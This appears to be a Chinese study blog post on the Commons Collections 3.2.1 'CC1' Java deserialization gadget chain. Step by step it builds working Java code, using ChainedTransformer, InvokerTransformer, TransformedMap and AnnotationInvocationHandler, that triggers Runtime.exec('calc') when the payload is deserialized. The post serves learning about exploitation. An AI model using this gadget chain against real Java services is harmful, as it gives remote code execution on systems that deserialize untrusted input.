Java安全-CC1

news2024/9/20 20:26:28

CC1

这里用的是组长的链子和yso好像不太一样,不过大体上都是差不多的。后半条的链子都是一样的,而且这条更短更易理解。yso的CC1过段时间再看一下。

环境

Maven依赖:

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

在这里插入图片描述

JDK

8u65

openjdk

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/
下载后把里面的sun放在jdk的src里面。
sun的目录在jdk-af660750b2f4\src\share\classes下
在这里插入图片描述
在这里插入图片描述

这样子才能调试,否则class文件是无法调试的
在这里插入图片描述

开始

新建一个Maven项目,要记得设置好Maven的路径,避免后续的调试过程中遇到反编译代码无法下载或者其他睿智问题。
开始结构:
在这里插入图片描述

我们可以了解一下接口Transformer,这个接口就接受一个Object类然后利用方法transform:
在这里插入图片描述

我们可以按住ctrl+H查看改接口的实现类:
在这里插入图片描述

我们这里看几个实现类:
ChainedTransformer.java

//构造方法
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

//transformer
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

这个类的transformer是一个链式,即前一个的输出作为后一个的输入。

ConstantTransformer

public Object transform(Object input) {
    return iConstant;
}

InvokerTransformer.java

//构造函数
    private InvokerTransformer(String methodName) {
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }

    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

//transformer
    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

这个类里面有一个method.invoke(input, iArgs);非常类似于后门的写法。这也是CC1的漏洞利用点。

首先手撸CC1的第一步,基于这个类写一个弹计算器。

package org.example;


import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

    }
}

这样子就在InvokerTransformer类的基础上实现了恶意命令执行。即我们现在确定了终点,我们需要凭借这个一路向上寻找直到找到某个类重写了readObject并且能够执行到这里的链子。
首先我们从transformer方法入手,看看什么类调用了transformaer
在这里插入图片描述

最终我们确定了一处checksetValue
在这里插入图片描述

在这里插入图片描述

这里使用了valueTransformer调用transform
我们就需要知道

  • valueTransformer是什么
  • 它是怎么被赋值的
  • 我们能否控制它

不难找到在一处地方对他进行了赋值,这里是protected TransformedMap对他进行赋值,那我们需要寻找那里调用了TransformedMap。
在这里插入图片描述

可以看到静态方法调用了它
在这里插入图片描述

但是这些都解决了我们还需要找入口触发checkSetValue
它的父类AbstractInputCheckedMapDecorator.setValue调用了checkSetValue,我们以此作为入口
在这里插入图片描述

知识小补充:
对于不熟悉Map的我们需要知道有一个遍历Map的常用方法:
在这里插入图片描述

这一个entry就代表一个键值对。我们可以在这里调用setValue

手撸第二步,基于这个链子我们再弹一个计算器

目的很明确,我们需要赋值valueTransformer为InvokerTransformer
而静态方法调用了它,并且是直接传值进去,所以我们就可以开始构造

package org.example;


import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        Runtime runtime = Runtime.getRuntime();


        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("aaa", "bbb");
        Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer);

        for(Map.Entry entry:decorate.entrySet()){
            entry.setValue(runtime);
        }

    }
}

在这里插入图片描述

现在我们的目标就是寻找一个能够遍历数组的地方调用setValue(value) value可控。我们想要寻找谁调用了setValue并且是在readObject里面调用,如果不是在readObject里面调用就需要再看谁的Object里面调用了触发setValue的方法,需要多走一层。
幸运的是不用多走一层。我们找到了AnnotationInvocationHandler类readObject里面调用了setValue
在这里插入图片描述

我们关注一下名字,Annotation就是Java里面注解的意思,所以这个类是和Java注解有关的一个类
可以注意到这里不是public
在这里插入图片描述

所以我们需要反射调用
再来看构造方法

//构造方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

第一个参数是继承了Annotation的泛型,即注解,如@Override
第二个参数是Map类型

我们来看一下调用setValue(value)这个value我们是否可控?
在这里插入图片描述

发现这个value是一整个,我们似乎不可控,再来看第二个问题
在这里插入图片描述

Runtime没有继承Serialize,是不可以进行序列化的。
我们先解决这个不能序列化的问题。不能序列化的话,我们可以利用反射来解决。因为Class是继承了Serialize的。

手撸第三步,构造可序列化的Runtime

我们观察InvokerTransformer的构造方法,传入三个参数:

  • 参数一
    • 要执行的方法名字
  • 参数二
    • 参数的类型,是一个Class数组
  • 参数三
    • 具体参数,是一个Object数组

在这里插入图片描述

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

再来看InvokerTransformer的transformer方法:
在这里插入图片描述

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

接收一个Object,并且执行Object的method(InvokerTransformer传入的method)
即Object.method.
所以我们根据

        Class c = Runtime.class;
        Method getRuntime = c.getMethod("getRuntime",null);
        Runtime r = (Runtime) getRuntime.invoke(null, null);
        Method exec = c.getMethod("exec", String.class);
        exec.invoke(r,"calc");

转换为:

Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

这个怎么转换的?以First的1、2两行转换为Second第一行为例:

我们需要调用c的 getRuntime 方法,即c.getRuntime
所以 c 为 transformer 的传入此参数,即InvokerTransformer.transform(Runtime.class)

那么InvokerTransformer里面的参数是什么?

第一个参数
getMethod为需要执行的方法,所以第一个方法名就是getMethod

第二个参数
Class数组,数组里面的值取决于传入方法的参数,以getMethod为例
在这里插入图片描述
可以看到getMethod需要传入两个参数,第一个参数是String类型的,第二个参数为Class类型的数组
所以这里就是 new Class[]{String.class, Class[].class}

第三个参数
传入的参数,我们这里需要获取getRuntime这个方法名和getRuntime的形参,这里为null。因为getRuntime里面没有形参

所以最终的结果就是

Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

而我们发现这个形式就是前一个的输出作为后一个的输入,刚好可以用ChainedTransformer类的transformer方法来解决:

Transformer[] transformers = {
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

手撸第四步,从readObject入口拼凑链子

上面说了我们的入口是AnnotationInvocationHandler的readObject
在这里插入图片描述

这里刚好有 memberValue.setValue(xxx); 的形式
我们需要能控制 memberValue 才能走到下一步直到终点。
但是在执行 memberValue.setValue(xxx) 之前有两个判断
因为AnnotationInvocationHandler是私有的,所以我们通过反射实例化它:

Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationDeclaredConstructor.setAccessible(true);
Object o = annotationDeclaredConstructor.newInstance(Override.class, decorate);

我们按照

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        Transformer[] transformers = {
//                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("keykey", "valuevalue");
        Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        Object o = annotationDeclaredConstructor.newInstance(Override.class, decorate);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

这串代码进行调试:
在这里插入图片描述

结果发现在memberType那一步就die了,因为这里是获取了我们的keykey之后又获取了keykey的成员类型
因为我们传入的Override没有成员
在这里插入图片描述

所以我们需要传入有成员的注解,比如target:
在这里插入图片描述

target里面有一个成员名字是value,所以这里我们需要把keykey改成value,这样子获取我们的键value之后就会寻找target注解是否有成员value
改完之后发现我们可以进判断了:
在这里插入图片描述

第二个判断是判断是否可以强转,这里不可以就不需要管他了。

接下来就是最重要的memberValue能否控制了,我们跟进去调试看看:
在这里插入图片描述

继续跟进
在这里插入图片描述

跟进
在这里插入图片描述

可以看见这里的形式和我们开始的形式是一致的,我们对比一下:
:::info
chainedTransformer.transform(Runtime.class)
valueTransformer.transform(value);

显而易见这里的value我们就可以传入Runtime.class对象了
但是问题是怎么作为输入传进去

我们可以回顾上面的一个类ConstantTransformer
:::
ConstantTransformer 的构造函数:

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

这里对iConstant进行赋值。

然后transformer方法:

    public Object transform(Object input) {
        return iConstant;
    }

所以很明显他的任务就是输入什么返回什么。
这刚刚好满足了chainedTransformer的入口,只要传入new ConstantTransformer(Runtime.class)那么后面就会链式调用,前一个的输出作为后一个的输入最终成功调用执行命令。
所以确定最终payload:

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("value", "value");
        Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        Object o = annotationDeclaredConstructor.newInstance(Target.class, decorate);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

执行结果:
在这里插入图片描述

这就是CC1,学习了好几天总是弄出点门道来。做此纪录以便日后复习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/60509.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

十四、使用 Vue Router 开发单页应用(3)

本章概要 命名路由命名视图编程式导航传递 prop 到路由组件HTML 5 history 模式 14.5 命名路由 有时通过一个名称来标识路由会更方便&#xff0c;特别是在链接到路由&#xff0c;或者执行导航时。可以在创建 Router 实例时&#xff0c;在routes 选项中为路由设置名称。 修改…

用Unity实现FXAA

用Unity实现FXAAFXAA是现代的常用抗锯齿手段之一&#xff0c;这次我们来在Unity中从零开始实现它。 首先我们来看一个测试场景&#xff0c;我们在Game视角下将scale拉到2x&#xff1a; 可以看到画面的锯齿比较严重&#xff0c;下面我们将一步一步地实现FXAA&#xff0c;消除锯…

BDD - SpecFlow ExternalData Plugin 导入外部测试数据

BDD - SpecFlow ExternalData Plugin 导入外部测试数据引言SpecFlow ExternalData 插件支持的数据源Tags实践创建一个 Class Libary Project添加 NuGet Packages添加测试数据源文件CSV 文件Excel 文件添加 Feature 文件实现 Step Definition执行Scenario 导入测试数据源Scenari…

深入URP之Shader篇4: Depth Only Pass

Depth only pass unlit shader中包含了一个Depth Only Pass&#xff0c;这个pass的代码在Packages\com.unity.render-pipelines.universal\Shaders\DepthOnlyPass.hlsl中。这是一个公共pass&#xff0c;几乎所有的URP shader都会包含这个pass。本篇说一说这个pass的作用以及实…

Ubuntu映射到Windows网络驱动器

将虚拟机Ubuntu映射到Windows网络驱动器中&#xff0c;我们需要Ubuntu的网络和主机网络处于同一网段下&#xff0c;然后使Ubuntu具备共享文件功能&#xff0c;最后在windows下添加网络地址。 将Ubuntu设置和主机同一网段 查看主机网络信息 在虚拟机中 选择编辑-- 虚拟网络编…

Java的字符串String

文章目录什么是字符串String类的声明为什么我们的String是不可变的为什么String类用final修饰String的创建字符串比较相等关于Java中的比较关于字符串不同赋值操作对应的内存分配那对象如何进行比较内容字符串常量池StringTalbe的位置字符串常见的操作拼接操作获得字符串的子串…

事件驱动的微服务、CQRS、SAGA、Axon、Spring Boot

事件驱动的微服务、CQRS、SAGA、Axon、Spring Boot 学习构建分布式事件驱动的微服务、CQRS、事件溯源、SAGA、事务 课程英文名&#xff1a;Event-Driven Microservices, CQRS, SAGA, Axon, Spring Boot 此视频教程共10.0小时&#xff0c;中英双语字幕&#xff0c;画质清晰无…

一个带有楼中楼的评论系统数据库设置思路

前言 有个需求&#xff0c;需要实现百度贴吧那样能评论帖子中某一楼的评论里的评论 分析 说起来有点拗口&#xff0c;其实这个评论系统分为4个部分&#xff1a; 主题&#xff08;楼主发布的帖子&#xff09;直接返回楼主的评论&#xff08;从帖&#xff09;&#xff1a;直接…

(11)点云数据处理学习——Colored point cloud registration(彩色点注册)

1、主要参考 &#xff08;1&#xff09;官网介绍 Colored point cloud registration — Open3D 0.16.0 documentation 2、原理和实现 2.1原理 本教程演示了使用几何形状和颜色进行配准的ICP变体。实现了[Park2017]算法。颜色信息锁定沿切平面的对齐。因此&#xff0c;该算法…

Yocto创建自己的分区(基于STM32MP1)

Yocto创建自己的分区&#xff08;基于STM32MP1&#xff09; 前几章节我们分析了machine class里面几篇关键的class&#xff0c;还有machine conf里面的inc文件&#xff0c;大致的创建分区的流程都比较清晰了&#xff0c;本章节动手实际操作一把&#xff0c;创建一个自己的分区…

Unity中的协程

一、什么是协程 协程(Coroutines) 是一种比线程更加轻量级的存在&#xff0c;也被称为用户态线程一个进程可以拥有多个线程&#xff0c;一个线程可以拥有多个协程协程并不会增加线程&#xff0c;它在线程中运行&#xff0c;通过分时复用的方式运行多个协程&#xff0c;其切换代…

《Spring 5.x源码解析之Spring AOP 注解驱动使用及其实现原理》

《Spring 5.x源码解析之Spring AOP 注解驱动使用及其实现原理》 学好路更宽&#xff0c;钱多少加班。---- mercyblitz 一、前言 大家好&#xff0c;欢迎阅读《Spring 5.x源码解析》系列&#xff0c;本篇作为该系列的第二篇&#xff0c;重点介绍Spring AOP在注解驱动编程模式上的…

基于J2EE的大型视频影音系统的设计与实现

目 录 毕业设计&#xff08;论文&#xff09;任务书 I 摘 要 II ABSTRACT III 第1章 绪 论 1 1.1 课题的提出 1 1.1.1 Web2.0浪潮进一步影响全球互联网发展 1 1.1.2 视频分享成为2.0浪潮的最新爆发点 1 1.2 系统研究目的 2 1.3 系统设计目标 2 第2章 关键技术介绍 4 2.1 网页…

C#使用策略模式或者委托替代多IfElse判断和Switch语句

这篇文件介绍使用设计模式中的策略模式和委托来解决多个IfElse判断语句和Switch语句&#xff0c;这种替换方式在其他语言也一样可以做到&#xff0c;比如PHP、JavaScript、Python或者Java等。 这里以C#为例进行演示。 需要为一个程序编写计算方法&#xff0c;根据标签名称来决定…

【华为上机真题 2022】TLV解码

&#x1f388; 作者&#xff1a;Linux猿 &#x1f388; 简介&#xff1a;CSDN博客专家&#x1f3c6;&#xff0c;华为云享专家&#x1f3c6;&#xff0c;Linux、C/C、云计算、物联网、面试、刷题、算法尽管咨询我&#xff0c;关注我&#xff0c;有问题私聊&#xff01; &…

abc280

D 解法1&#xff0c;直接暴力&#xff0c;答案一定在2~1e6里面或者k本身&#xff08;如果k是个质数的话&#xff09; #include<bits/stdc.h> using namespace std; signed main() {long long k;cin>>k;for(long long i1;i<2000010;i) {k/__gcd(k,i);if(k1) {co…

在Linux中,使用Docker,安装es和kibana

1.部署单点es 1.1.创建网络 因为我们还需要部署kibana容器&#xff0c;因此需要让es和kibana容器互联。这里先创建一个网络&#xff1a; # 创建一个网络&#xff1a;es-net docker network create es-net# 查看本机的网络 docker network ls# 删除一个网络&#xff1a;es-ne…

Allegro如何缩放数据操作指导

Allegro如何缩放数据操作指导 Allegeo上可以缩放数据,尤其是在做结构时候非常有用,具体操作如下 以下图为例,需要把这个数据缩小0.5倍 点击Create Detail命令 Option里面选定一个层面,比如放在Board Geomertry,silkscreen top层 Scaling Factor输入0.5 Find选择所有 …

UE5 中 LiveLink 的开发全流程教程

注意&#xff0c;需要有源代码版本的 Unreal Engine&#xff0c;而不是从游戏 Launcher 中下载的 Unreal 版本。 本文使用是 Unreal Engine 5.1 版本。关于一些基础 API 介绍&#xff0c;可以参考之前的一篇。 起点 可以将 Engine\Source\Programs\BlankProgram 作为模板拷贝…

虚拟机搭载Linux · VMware + Ubuntu 部署 路线参考(20.04.5)

提前回家&#xff0c;要部署OS的实验环境。感谢广源同学给予的帮助和支持~ 电脑文件系统进行了整理&#xff0c;重型文件大部分转移到移动硬盘上。 &#xff08;解压了好久然后我找到镜像源了呜呜没发过来&#xff09; 一、VMware 16 安装 VMware虚拟机安装Linux教程(超详细)…